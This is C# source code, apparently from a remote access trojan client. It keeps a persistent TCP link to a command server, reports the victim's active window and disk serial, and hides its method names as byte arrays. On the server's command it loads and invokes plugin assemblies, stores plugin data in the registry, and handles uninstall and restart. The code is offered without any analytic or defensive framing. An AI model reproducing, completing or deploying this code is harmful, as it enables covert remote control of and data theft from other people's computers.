public void Handler(byte[] packet) //Receive Data from Server { try { string KEY = Config.key; string[] data = Strings.Split(StringConverter.BytestoString(packet), KEY, -1, CompareMethod.Text); if (data[0] == "PNC") { Config.stopwatch.Reset(); Config.stopwatch.Start(); Client.TcpSend("PNC"); } else if (data[0] == "P") { Config.stopwatch.Stop(); Client.TcpSend("P" + KEY + Config.stopwatch.ElapsedMilliseconds); Client.TcpSend("W" + KEY + IdGenerator.GetActiveWindow()); } else if (data[0] == "IE") //Ask about plugin { if ((Registry.CurrentUser.OpenSubKey("Software\\" + StringConverter.Encode(Config.currentMutex) + "\\" + data[1], true) != null)) { try { Invoke(Config.host, Config.port, data[4], data[5], StringConverter.Encode(StringConverter.Decode(Config.id) + "_" + IdGenerator.GetHardDiskSerialNumber()), Registry.GetValue(@"HKEY_CURRENT_USER\SOFTWARE\" + StringConverter.Encode(Config.currentMutex) + @"\\" + data[1], data[1], null).ToString(), int.Parse(data[2]), Convert.ToBoolean(data[3]), data[1], true); } catch { Client.TcpSend("GPL" + KEY + data[5] + KEY + data[1] + KEY + "false"); } } else { Client.TcpSend("GPL" + KEY + data[5] + KEY + data[1] + KEY + "false"); } } else if (data[0] == "LP") //invoke plugin { Invoke(Config.host, Config.port, data[1], data[2], StringConverter.Encode(StringConverter.Decode(Config.id) + "_" + IdGenerator.GetHardDiskSerialNumber()), data[3], int.Parse(data[4]), Convert.ToBoolean(data[5]), data[6], Convert.ToBoolean(data[7])); } else if (data[0] == "UNV") //uninstall - restart - close .. etc { object ar = Interaction.CallByName(GetAssembly(data[1]), Encoding.Default.GetString(new byte[] { 71, 101, 116, 84, 121, 112, 101 }), CallType.Method, data[2]); object enn = Interaction.CallByName(ar, Encoding.Default.GetString(new byte[] { 71, 101, 116, 77, 101, 116, 104, 111, 100 }), CallType.Method, Encoding.Default.GetString(new byte[] { 85, 78, 73 })); object inn = Interaction.CallByName(enn, Encoding.Default.GetString(new byte[] { 73, 110, 118, 111, 107, 101 }), CallType.Method, null, new object[] { StringConverter.Encode(Config.currentMutex), data[3], null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, data[4], data[5], Application.ExecutablePath, data[6], data[7], data[8], data[9], data[10], data[11], data[12], data[13] }); } } catch { //Client.isConnected = false; } }
private static Array PacketFixer(byte[] bytesArray, string splitter) { List <byte[]> a = new List <byte[]>(); MemoryStream M = new MemoryStream(); MemoryStream MM = new MemoryStream(); string[] T = Strings.Split(StringConverter.BytestoString(bytesArray), splitter, -1, CompareMethod.Text); M.Write(bytesArray, 0, T[0].Length); MM.Write(bytesArray, T[0].Length + splitter.Length, bytesArray.Length - (T[0].Length + splitter.Length)); a.Add(M.ToArray()); a.Add(MM.ToArray()); M.Dispose(); MM.Dispose(); return(a.ToArray()); }
private static void TcpReceive() { while (true) { while (!isConnected) { try { memoryStream?.Dispose(); keepAlivePacket?.Dispose(); } catch { } try { client?.Dispose(); //client?.Disconnect(false); // 2.0 } catch { } try { client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp) { SendBufferSize = 999999, ReceiveBufferSize = 999999, }; client.Connect(Config.host, Convert.ToInt32(Config.port)); isConnected = true; TcpSend(IdGenerator.SendInfo()); TimerCallback T = new TimerCallback(Ping); keepAlivePacket = new Timer(T, null, 30000, 30000); memoryStream = new MemoryStream(); } catch { isConnected = false; Thread.Sleep(3000); } } while (isConnected) { try { if (client.Poll(-1, SelectMode.SelectRead) && client.Available <= 0 || !client.Connected) { isConnected = false; break; } byte[] buffer = new byte[client.Available]; client.Receive(buffer, 0, buffer.Length, SocketFlags.None); memoryStream.Write(buffer, 0, buffer.Length); rr: if (StringConverter.BytestoString(memoryStream.ToArray()).Contains(Config.splitter)) { Array[] array = (Array[])PacketFixer(memoryStream.ToArray(), Config.splitter); new Thread(() => { new PacketHandler().Handler((byte[])array[0]); }).Start(); memoryStream.Dispose(); memoryStream = new MemoryStream(); if (array.Length == 2) { memoryStream.Write((byte[])array[1], 0, ((byte[])array[1]).Length); goto rr; } } } catch { isConnected = false; break; } } } }